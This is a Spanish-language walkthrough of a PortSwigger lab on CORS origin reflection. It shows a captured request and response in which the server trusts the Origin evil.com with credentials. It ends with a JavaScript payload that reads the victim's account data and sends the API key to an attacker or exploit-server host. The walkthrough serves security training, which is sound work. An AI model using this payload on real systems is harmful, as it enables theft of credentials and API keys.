CORS vulnerability with basic origin reflection
https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.
You can log in to your own account using the following credentials: wiener:peter
https://owlhacku.com/cors-vulnerability-with-basic-origin-reflection/
Comenzamos con un usuario y password, un servidor simulado para alojar el exploit para desencadenar el CORS.
https://0a00000e034fc0e88190614d002e0079.web-security-academy.net/accountDetails
HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "35Fi9jB62Z2spniMQG4MXJEGAEJERvMg",
"sessions": [
"NCz6P35OspwTBQhFzNt6M0NT1vfNCJpZ"
]
}
Al enviarlo a repeater y agregar el campo origin con cualquier valor
GET /accountDetails HTTP/2
Host: 0a00000e034fc0e88190614d002e0079.web-security-academy.net
Cookie: session=NCz6P35OspwTBQhFzNt6M0NT1vfNCJpZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Origin: evil.com
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a00000e034fc0e88190614d002e0079.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Priority: u=4
Te: trailers
HTTP/2 200 OK
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "35Fi9jB62Z2spniMQG4MXJEGAEJERvMg",
"sessions": [
"NCz6P35OspwTBQhFzNt6M0NT1vfNCJpZ"
]
}
Revela lo siguietne:
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Credentials: true: cookies sent if trueAccess-Control-Allow-Origin: origin that can request the resource. Can be*, although this disables cookies
Por lo tanto es vulnerable por la configuraion de CORS. https://siunam321.github.io/ctf/portswigger-labs/Cross-Origin-Resource-Sharing/cors-1/
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://<target>', true);
xhr.withCredentials = true;
xhr.onload = () => { location = 'https://<hacker address>:1337/log?data=' + btoa(xhr.response); };
xhr.send();
function reqListener() {
location='//exploit-0a28004803ec9dcac025e4430179005c.exploit-server.net/?data='+this.responseText;
};
</script>
- el script es ejecutado automaticamente al abrirlo
- se realiza una gt request al sitio
- se envia la respuesta que contiene la api key al servidor del atacante